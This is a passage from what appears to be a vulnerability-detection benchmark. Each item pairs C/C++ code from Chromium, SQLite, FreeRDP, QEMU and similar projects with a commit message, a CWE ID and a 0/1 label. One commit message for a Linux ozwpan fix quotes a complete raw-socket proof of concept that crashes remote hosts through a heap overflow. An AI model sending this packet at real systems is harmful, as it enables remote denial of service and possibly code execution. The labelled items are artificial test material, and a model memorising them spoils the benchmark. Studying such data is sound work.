stuff->xDst = orig.xDst - screenInfo.screens[j]->x;
stuff->yDst = orig.yDst - screenInfo.screens[j]->y;
}
if (msk)
{
stuff->mask = msk->info[j].id;
if (msk->u.pict.root)
{
stuff->xMask = orig.xMask - screenInfo.screens[j]->x;
stuff->yMask = orig.yMask - screenInfo.screens[j]->y;
}
}
result = (*PanoramiXSaveRenderVector[X_RenderComposite]) (client);
if(result != Success) break;
}
return result;
}
Commit Message:
CWE ID: CWE-20 | 0 | 14,033 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderViewTest::TearDown() {
const int kGCIterations = 5;
for (int i = 0; i < kGCIterations; i++)
GetMainFrame()->collectGarbage();
ProcessPendingMessages();
for (int i = 0; i < kGCIterations; i++)
GetMainFrame()->collectGarbage();
render_thread_->SendCloseMessage();
view_ = NULL;
mock_process_.reset();
base::RunLoop().RunUntilIdle();
#if defined(OS_MACOSX)
autorelease_pool_.reset(NULL);
#endif
blink_platform_impl_.Scheduler()->Shutdown();
blink::shutdown();
platform_->PlatformUninitialize();
platform_.reset();
params_.reset();
command_line_.reset();
}
Commit Message: Connect WebUSB client interface to the devices app
This provides a basic WebUSB client interface in
content/renderer. Most of the interface is unimplemented,
but this CL hooks up navigator.usb.getDevices() to the
browser's Mojo devices app to enumerate available USB
devices.
BUG=492204
Review URL: https://codereview.chromium.org/1293253002
Cr-Commit-Position: refs/heads/master@{#344881}
CWE ID: CWE-399 | 0 | 123,095 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void GLES2DecoderImpl::DoTexParameterfv(
GLenum target, GLenum pname, const GLfloat* params) {
TextureManager::TextureInfo* info = GetTextureInfoForTarget(target);
if (!info) {
SetGLError(GL_INVALID_VALUE, "glTexParameterfv: unknown texture");
return;
}
if (!texture_manager()->SetParameter(
info, pname, static_cast<GLint>(params[0]))) {
SetGLError(GL_INVALID_ENUM, "glTexParameterfv: param GL_INVALID_ENUM");
return;
}
glTexParameterfv(target, pname, params);
}
Commit Message: Always write data to new buffer in SimulateAttrib0
This is to work around linux nvidia driver bug.
TEST=asan
BUG=118970
Review URL: http://codereview.chromium.org/10019003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@131538 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 108,980 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void copyNodeContent(MemPage *pFrom, MemPage *pTo, int *pRC){
if( (*pRC)==SQLITE_OK ){
BtShared * const pBt = pFrom->pBt;
u8 * const aFrom = pFrom->aData;
u8 * const aTo = pTo->aData;
int const iFromHdr = pFrom->hdrOffset;
int const iToHdr = ((pTo->pgno==1) ? 100 : 0);
int rc;
int iData;
assert( pFrom->isInit );
assert( pFrom->nFree>=iToHdr );
assert( get2byte(&aFrom[iFromHdr+5]) <= (int)pBt->usableSize );
/* Copy the b-tree node content from page pFrom to page pTo. */
iData = get2byte(&aFrom[iFromHdr+5]);
memcpy(&aTo[iData], &aFrom[iData], pBt->usableSize-iData);
memcpy(&aTo[iToHdr], &aFrom[iFromHdr], pFrom->cellOffset + 2*pFrom->nCell);
/* Reinitialize page pTo so that the contents of the MemPage structure
** match the new data. The initialization of pTo can actually fail under
** fairly obscure circumstances, even though it is a copy of initialized
** page pFrom.
*/
pTo->isInit = 0;
rc = btreeInitPage(pTo);
if( rc!=SQLITE_OK ){
*pRC = rc;
return;
}
/* If this is an auto-vacuum database, update the pointer-map entries
** for any b-tree or overflow pages that pTo now contains the pointers to.
*/
if( ISAUTOVACUUM ){
*pRC = setChildPtrmaps(pTo);
}
}
}
Commit Message: sqlite: safely move pointer values through SQL.
This lands https://www.sqlite.org/src/timeline?c=d6a44b35 in
third_party/sqlite/src/ and
third_party/sqlite/patches/0013-Add-new-interfaces-sqlite3_bind_pointer-sqlite3_resu.patch
and re-generates third_party/sqlite/amalgamation/* using the script at
third_party/sqlite/google_generate_amalgamation.sh.
The CL also adds a layout test that verifies the patch works as intended.
BUG=742407
Change-Id: I2e1a457459cd2e975e6241b630e7b79c82545981
Reviewed-on: https://chromium-review.googlesource.com/572976
Reviewed-by: Chris Mumford <cmumford@chromium.org>
Commit-Queue: Victor Costan <pwnall@chromium.org>
Cr-Commit-Position: refs/heads/master@{#487275}
CWE ID: CWE-119 | 0 | 136,444 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gfx::Rect RenderWidgetHostViewAndroid::GetBoundsInRootWindow() {
return GetViewBounds();
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 114,741 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static BOOL update_send_dstblt(rdpContext* context,
const DSTBLT_ORDER* dstblt)
{
wStream* s;
UINT32 offset;
UINT32 headerLength;
ORDER_INFO orderInfo;
int inf;
rdpUpdate* update = context->update;
headerLength = update_prepare_order_info(context, &orderInfo,
ORDER_TYPE_DSTBLT);
inf = update_approximate_dstblt_order(&orderInfo, dstblt);
update_check_flush(context, headerLength + inf);
s = update->us;
if (!s)
return FALSE;
offset = Stream_GetPosition(s);
if (!Stream_EnsureRemainingCapacity(s, headerLength))
return FALSE;
Stream_Seek(s, headerLength);
if (!update_write_dstblt_order(s, &orderInfo, dstblt))
return FALSE;
update_write_order_info(context, s, &orderInfo, offset);
update->numberOrders++;
return TRUE;
}
Commit Message: Fixed CVE-2018-8786
Thanks to Eyal Itkin from Check Point Software Technologies.
CWE ID: CWE-119 | 0 | 83,592 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool PPVarToNPVariant(PP_Var var, NPVariant* result) {
switch (var.type) {
case PP_VARTYPE_UNDEFINED:
VOID_TO_NPVARIANT(*result);
break;
case PP_VARTYPE_NULL:
NULL_TO_NPVARIANT(*result);
break;
case PP_VARTYPE_BOOL:
BOOLEAN_TO_NPVARIANT(var.value.as_bool, *result);
break;
case PP_VARTYPE_INT32:
INT32_TO_NPVARIANT(var.value.as_int, *result);
break;
case PP_VARTYPE_DOUBLE:
DOUBLE_TO_NPVARIANT(var.value.as_double, *result);
break;
case PP_VARTYPE_STRING: {
scoped_refptr<StringVar> string(StringVar::FromPPVar(var));
if (!string) {
VOID_TO_NPVARIANT(*result);
return false;
}
const std::string& value = string->value();
STRINGN_TO_NPVARIANT(base::strdup(value.c_str()), value.size(), *result);
break;
}
case PP_VARTYPE_OBJECT: {
scoped_refptr<ObjectVar> object(ObjectVar::FromPPVar(var));
if (!object) {
VOID_TO_NPVARIANT(*result);
return false;
}
OBJECT_TO_NPVARIANT(WebBindings::retainObject(object->np_object()),
*result);
break;
}
case PP_VARTYPE_ARRAY:
case PP_VARTYPE_DICTIONARY:
VOID_TO_NPVARIANT(*result);
break;
}
return true;
}
Commit Message: Fix invalid read in ppapi code
BUG=77493
TEST=attached test
Review URL: http://codereview.chromium.org/6883059
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@82172 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 1 | 170,554 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: WORD32 ih264d_end_of_pic_dispbuf_mgr(dec_struct_t * ps_dec)
{
dec_slice_params_t *ps_cur_slice = ps_dec->ps_cur_slice;
UWORD8 u1_num_of_users = 0;
WORD32 ret;
H264_MUTEX_LOCK(&ps_dec->process_disp_mutex);
if(1)
{
{
ih264d_delete_nonref_nondisplay_pics(ps_dec->ps_dpb_mgr);
if(ps_cur_slice->u1_mmco_equalto5
|| (ps_cur_slice->u1_nal_unit_type == IDR_SLICE_NAL))
{
ps_dec->ps_cur_pic->i4_poc = 0;
if(ps_dec->u2_total_mbs_coded
== (ps_dec->ps_cur_sps->u2_max_mb_addr + 1))
ih264d_reset_ref_bufs(ps_dec->ps_dpb_mgr);
ih264d_release_display_bufs(ps_dec);
}
if(ps_dec->u4_num_reorder_frames_at_init != 0)
{
ret = ih264d_assign_display_seq(ps_dec);
if(ret != OK)
return ret;
}
}
if(ps_cur_slice->u1_nal_ref_idc)
{
/* Mark pic buf as needed for reference */
ih264_buf_mgr_set_status((buf_mgr_t *)ps_dec->pv_pic_buf_mgr,
ps_dec->u1_pic_buf_id,
BUF_MGR_REF);
/* Mark mv buf as needed for reference */
ih264_buf_mgr_set_status((buf_mgr_t *)ps_dec->pv_mv_buf_mgr,
ps_dec->au1_pic_buf_id_mv_buf_id_map[ps_dec->u1_pic_buf_id],
BUF_MGR_REF);
ps_dec->au1_pic_buf_ref_flag[ps_dec->u1_pic_buf_id] = 1;
}
/* 420 consumer */
/* Increment the number of users by 1 for display based upon */
/*the SEEK KEY FRAME control sent to decoder */
if(((0 == ps_dec->u1_last_pic_not_decoded)
&& (0
== (ps_dec->ps_cur_pic->u4_pack_slc_typ
& ps_dec->u4_skip_frm_mask)))
|| (ps_cur_slice->u1_nal_unit_type == IDR_SLICE_NAL))
{
/* Mark pic buf as needed for display */
ih264_buf_mgr_set_status((buf_mgr_t *)ps_dec->pv_pic_buf_mgr,
ps_dec->u1_pic_buf_id,
BUF_MGR_IO);
}
if(!ps_cur_slice->u1_field_pic_flag
|| ((TOP_FIELD_ONLY | BOT_FIELD_ONLY)
!= ps_dec->u1_top_bottom_decoded))
{
pic_buffer_t *ps_cur_pic = ps_dec->ps_cur_pic;
ps_cur_pic->u2_disp_width = ps_dec->u2_disp_width;
ps_cur_pic->u2_disp_height = ps_dec->u2_disp_height >> 1;
ps_cur_pic->u2_crop_offset_y = ps_dec->u2_crop_offset_y;
ps_cur_pic->u2_crop_offset_uv = ps_dec->u2_crop_offset_uv;
ps_cur_pic->u1_pic_type = 0;
ret = ih264d_insert_pic_in_display_list(
ps_dec->ps_dpb_mgr,
ps_dec->u1_pic_buf_id,
ps_dec->i4_prev_max_display_seq
+ ps_dec->ps_cur_pic->i4_poc,
ps_dec->ps_cur_pic->i4_frame_num);
if(ret != OK)
return ret;
{
ivd_video_decode_op_t * ps_dec_output =
(ivd_video_decode_op_t *)ps_dec->pv_dec_out;
ps_dec_output->u4_frame_decoded_flag = 1;
}
if(ps_dec->au1_pic_buf_ref_flag[ps_dec->u1_pic_buf_id] == 0)
{
ih264_buf_mgr_release((buf_mgr_t *)ps_dec->pv_mv_buf_mgr,
ps_dec->au1_pic_buf_id_mv_buf_id_map[ps_dec->u1_pic_buf_id],
BUF_MGR_REF);
ps_dec->au1_pic_buf_ref_flag[ps_dec->u1_pic_buf_id] = 0;
}
}
else
{
H264_DEC_DEBUG_PRINT("pic not inserted display %d %d\n",
ps_cur_slice->u1_field_pic_flag,
ps_dec->u1_second_field);
}
if(!ps_cur_slice->u1_field_pic_flag
|| ((TOP_FIELD_ONLY | BOT_FIELD_ONLY)
== ps_dec->u1_top_bottom_decoded))
{
if(ps_dec->u4_num_reorder_frames_at_init == 0)
{
ret = ih264d_assign_display_seq(ps_dec);
if(ret != OK)
return ret;
}
}
}
H264_MUTEX_UNLOCK(&ps_dec->process_disp_mutex);
return OK;
}
Commit Message: Decoder: Fixed initialization of first_slice_in_pic
To handle some errors, first_slice_in_pic was being set to 2.
This is now cleaned up and first_slice_in_pic is set to 1 only once per pic.
This will ensure picture level initializations are done only once even in case
of error clips
Bug: 33717589
Bug: 33551775
Bug: 33716442
Bug: 33677995
Change-Id: If341436b3cbaa724017eedddd88c2e6fac36d8ba
CWE ID: CWE-200 | 0 | 162,627 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool IsInputMethodAllowed(const std::string& ime_id) {
return allowed_input_methods_.empty() ||
base::ContainsValue(allowed_input_methods_, ime_id);
}
Commit Message: Clear |composing_text_| after CommitText() is called.
|composing_text_| of InputConnectionImpl should be cleared after
CommitText() is called. Otherwise, FinishComposingText() will commit the
same text twice.
Bug: 899736
Test: unit_tests
Change-Id: Idb22d968ffe95d946789fbe62454e8e79cb0b384
Reviewed-on: https://chromium-review.googlesource.com/c/1304773
Commit-Queue: Yusuke Sato <yusukes@chromium.org>
Reviewed-by: Yusuke Sato <yusukes@chromium.org>
Cr-Commit-Position: refs/heads/master@{#603518}
CWE ID: CWE-119 | 0 | 156,926 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void butterfly_16x16_dct_1d(double input[16], double output[16]) {
double step[16];
double intermediate[16];
double temp1, temp2;
step[ 0] = input[0] + input[15];
step[ 1] = input[1] + input[14];
step[ 2] = input[2] + input[13];
step[ 3] = input[3] + input[12];
step[ 4] = input[4] + input[11];
step[ 5] = input[5] + input[10];
step[ 6] = input[6] + input[ 9];
step[ 7] = input[7] + input[ 8];
step[ 8] = input[7] - input[ 8];
step[ 9] = input[6] - input[ 9];
step[10] = input[5] - input[10];
step[11] = input[4] - input[11];
step[12] = input[3] - input[12];
step[13] = input[2] - input[13];
step[14] = input[1] - input[14];
step[15] = input[0] - input[15];
output[0] = step[0] + step[7];
output[1] = step[1] + step[6];
output[2] = step[2] + step[5];
output[3] = step[3] + step[4];
output[4] = step[3] - step[4];
output[5] = step[2] - step[5];
output[6] = step[1] - step[6];
output[7] = step[0] - step[7];
temp1 = step[ 8] * C7;
temp2 = step[15] * C9;
output[ 8] = temp1 + temp2;
temp1 = step[ 9] * C11;
temp2 = step[14] * C5;
output[ 9] = temp1 - temp2;
temp1 = step[10] * C3;
temp2 = step[13] * C13;
output[10] = temp1 + temp2;
temp1 = step[11] * C15;
temp2 = step[12] * C1;
output[11] = temp1 - temp2;
temp1 = step[11] * C1;
temp2 = step[12] * C15;
output[12] = temp2 + temp1;
temp1 = step[10] * C13;
temp2 = step[13] * C3;
output[13] = temp2 - temp1;
temp1 = step[ 9] * C5;
temp2 = step[14] * C11;
output[14] = temp2 + temp1;
temp1 = step[ 8] * C9;
temp2 = step[15] * C7;
output[15] = temp2 - temp1;
step[ 0] = output[0] + output[3];
step[ 1] = output[1] + output[2];
step[ 2] = output[1] - output[2];
step[ 3] = output[0] - output[3];
temp1 = output[4] * C14;
temp2 = output[7] * C2;
step[ 4] = temp1 + temp2;
temp1 = output[5] * C10;
temp2 = output[6] * C6;
step[ 5] = temp1 + temp2;
temp1 = output[5] * C6;
temp2 = output[6] * C10;
step[ 6] = temp2 - temp1;
temp1 = output[4] * C2;
temp2 = output[7] * C14;
step[ 7] = temp2 - temp1;
step[ 8] = output[ 8] + output[11];
step[ 9] = output[ 9] + output[10];
step[10] = output[ 9] - output[10];
step[11] = output[ 8] - output[11];
step[12] = output[12] + output[15];
step[13] = output[13] + output[14];
step[14] = output[13] - output[14];
step[15] = output[12] - output[15];
output[ 0] = (step[ 0] + step[ 1]);
output[ 8] = (step[ 0] - step[ 1]);
temp1 = step[2] * C12;
temp2 = step[3] * C4;
temp1 = temp1 + temp2;
output[ 4] = 2*(temp1 * C8);
temp1 = step[2] * C4;
temp2 = step[3] * C12;
temp1 = temp2 - temp1;
output[12] = 2 * (temp1 * C8);
output[ 2] = 2 * ((step[4] + step[ 5]) * C8);
output[14] = 2 * ((step[7] - step[ 6]) * C8);
temp1 = step[4] - step[5];
temp2 = step[6] + step[7];
output[ 6] = (temp1 + temp2);
output[10] = (temp1 - temp2);
intermediate[8] = step[8] + step[14];
intermediate[9] = step[9] + step[15];
temp1 = intermediate[8] * C12;
temp2 = intermediate[9] * C4;
temp1 = temp1 - temp2;
output[3] = 2 * (temp1 * C8);
temp1 = intermediate[8] * C4;
temp2 = intermediate[9] * C12;
temp1 = temp2 + temp1;
output[13] = 2 * (temp1 * C8);
output[ 9] = 2 * ((step[10] + step[11]) * C8);
intermediate[11] = step[10] - step[11];
intermediate[12] = step[12] + step[13];
intermediate[13] = step[12] - step[13];
intermediate[14] = step[ 8] - step[14];
intermediate[15] = step[ 9] - step[15];
output[15] = (intermediate[11] + intermediate[12]);
output[ 1] = -(intermediate[11] - intermediate[12]);
output[ 7] = 2 * (intermediate[13] * C8);
temp1 = intermediate[14] * C12;
temp2 = intermediate[15] * C4;
temp1 = temp1 - temp2;
output[11] = -2 * (temp1 * C8);
temp1 = intermediate[14] * C4;
temp2 = intermediate[15] * C12;
temp1 = temp2 + temp1;
output[ 5] = 2 * (temp1 * C8);
}
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
CWE ID: CWE-119 | 0 | 164,404 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: e1000e_write_ps_rx_descr(E1000ECore *core, uint8_t *desc,
struct NetRxPkt *pkt,
const E1000E_RSSInfo *rss_info,
size_t ps_hdr_len,
uint16_t(*written)[MAX_PS_BUFFERS])
{
int i;
union e1000_rx_desc_packet_split *d =
(union e1000_rx_desc_packet_split *) desc;
memset(&d->wb, 0, sizeof(d->wb));
d->wb.middle.length0 = cpu_to_le16((*written)[0]);
for (i = 0; i < PS_PAGE_BUFFERS; i++) {
d->wb.upper.length[i] = cpu_to_le16((*written)[i + 1]);
}
e1000e_build_rx_metadata(core, pkt, pkt != NULL,
rss_info,
&d->wb.lower.hi_dword.rss,
&d->wb.lower.mrq,
&d->wb.middle.status_error,
&d->wb.lower.hi_dword.csum_ip.ip_id,
&d->wb.middle.vlan);
d->wb.upper.header_status =
cpu_to_le16(ps_hdr_len | (ps_hdr_len ? E1000_RXDPS_HDRSTAT_HDRSP : 0));
trace_e1000e_rx_desc_ps_write((*written)[0], (*written)[1],
(*written)[2], (*written)[3]);
}
Commit Message:
CWE ID: CWE-835 | 0 | 6,101 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void *oz_claim_hpd(struct oz_port *port)
{
void *hpd;
struct oz_hcd *ozhcd = port->ozhcd;
spin_lock_bh(&ozhcd->hcd_lock);
hpd = port->hpd;
if (hpd)
oz_usb_get(hpd);
spin_unlock_bh(&ozhcd->hcd_lock);
return hpd;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189 | 0 | 43,158 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int send_udp(const struct mt_connection *conn, const struct mt_packet *packet) {
if (use_raw_socket) {
return net_send_udp(sockfd, conn->interface, conn->dstmac, conn->srcmac, &sourceip, sourceport, &destip, conn->srcport, packet->data, packet->size);
} else {
/* Init SendTo struct */
struct sockaddr_in socket_address;
socket_address.sin_family = AF_INET;
socket_address.sin_port = htons(conn->srcport);
socket_address.sin_addr.s_addr = htonl(INADDR_BROADCAST);
return sendto(conn->interface->socketfd, packet->data, packet->size, 0, (struct sockaddr*)&socket_address, sizeof(socket_address));
}
}
Commit Message: Merge pull request #20 from eyalitki/master
2nd round security fixes from eyalitki
CWE ID: CWE-119 | 0 | 50,300 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: status_t AudioFlinger::EffectModule::start()
{
Mutex::Autolock _l(mLock);
return start_l();
}
Commit Message: Add EFFECT_CMD_SET_PARAM parameter checking
Bug: 30204301
Change-Id: Ib9c3ee1c2f23c96f8f7092dd9e146bc453d7a290
(cherry picked from commit e4a1d91501d47931dbae19c47815952378787ab6)
CWE ID: CWE-200 | 0 | 157,862 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void UDPSocketLibevent::WriteWatcher::OnFileCanWriteWithoutBlocking(int) {
if (!socket_->write_callback_.is_null())
socket_->DidCompleteWrite();
}
Commit Message: Map posix error codes in bind better, and fix one windows mapping.
r=wtc
BUG=330233
Review URL: https://codereview.chromium.org/101193008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@242224 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416 | 0 | 113,415 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebContext::setCookiePolicy(CookiePolicy policy) {
if (IsInitialized()) {
context_->SetCookiePolicy(
static_cast<net::StaticCookiePolicy::Type>(policy));
} else {
construct_props_->cookie_policy =
static_cast<net::StaticCookiePolicy::Type>(policy);
}
}
Commit Message:
CWE ID: CWE-20 | 0 | 16,999 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static String storageDirectory(DWORD pathIdentifier)
{
Vector<UChar> buffer(MAX_PATH);
if (FAILED(SHGetFolderPathW(0, pathIdentifier | CSIDL_FLAG_CREATE, 0, 0, buffer.data())))
return String();
buffer.resize(wcslen(buffer.data()));
String directory = String::adopt(buffer);
DEFINE_STATIC_LOCAL(String, companyNameDirectory, (ASCIILiteral("Apple Computer\\")));
directory = pathByAppendingComponent(directory, companyNameDirectory + bundleName());
if (!makeAllDirectories(directory))
return String();
return directory;
}
Commit Message: [WIN] Implement WebCore::fileSystemRepresentation() for !USE(CF)
https://bugs.webkit.org/show_bug.cgi?id=104456
Reviewed by Brent Fulgham.
Convert the UTF-16 path to the system default Windows ANSI code page (usually Windows Latin1).
* platform/win/FileSystemWin.cpp:
(WebCore::fileSystemRepresentation):
git-svn-id: svn://svn.chromium.org/blink/trunk@137547 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 103,899 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct sctp_transport *sctp_assoc_is_match(struct sctp_association *asoc,
struct net *net,
const union sctp_addr *laddr,
const union sctp_addr *paddr)
{
struct sctp_transport *transport;
if ((htons(asoc->base.bind_addr.port) == laddr->v4.sin_port) &&
(htons(asoc->peer.port) == paddr->v4.sin_port) &&
net_eq(sock_net(asoc->base.sk), net)) {
transport = sctp_assoc_lookup_paddr(asoc, paddr);
if (!transport)
goto out;
if (sctp_bind_addr_match(&asoc->base.bind_addr, laddr,
sctp_sk(asoc->base.sk)))
goto out;
}
transport = NULL;
out:
return transport;
}
Commit Message: net: sctp: inherit auth_capable on INIT collisions
Jason reported an oops caused by SCTP on his ARM machine with
SCTP authentication enabled:
Internal error: Oops: 17 [#1] ARM
CPU: 0 PID: 104 Comm: sctp-test Not tainted 3.13.0-68744-g3632f30c9b20-dirty #1
task: c6eefa40 ti: c6f52000 task.ti: c6f52000
PC is at sctp_auth_calculate_hmac+0xc4/0x10c
LR is at sg_init_table+0x20/0x38
pc : [<c024bb80>] lr : [<c00f32dc>] psr: 40000013
sp : c6f538e8 ip : 00000000 fp : c6f53924
r10: c6f50d80 r9 : 00000000 r8 : 00010000
r7 : 00000000 r6 : c7be4000 r5 : 00000000 r4 : c6f56254
r3 : c00c8170 r2 : 00000001 r1 : 00000008 r0 : c6f1e660
Flags: nZcv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
Control: 0005397f Table: 06f28000 DAC: 00000015
Process sctp-test (pid: 104, stack limit = 0xc6f521c0)
Stack: (0xc6f538e8 to 0xc6f54000)
[...]
Backtrace:
[<c024babc>] (sctp_auth_calculate_hmac+0x0/0x10c) from [<c0249af8>] (sctp_packet_transmit+0x33c/0x5c8)
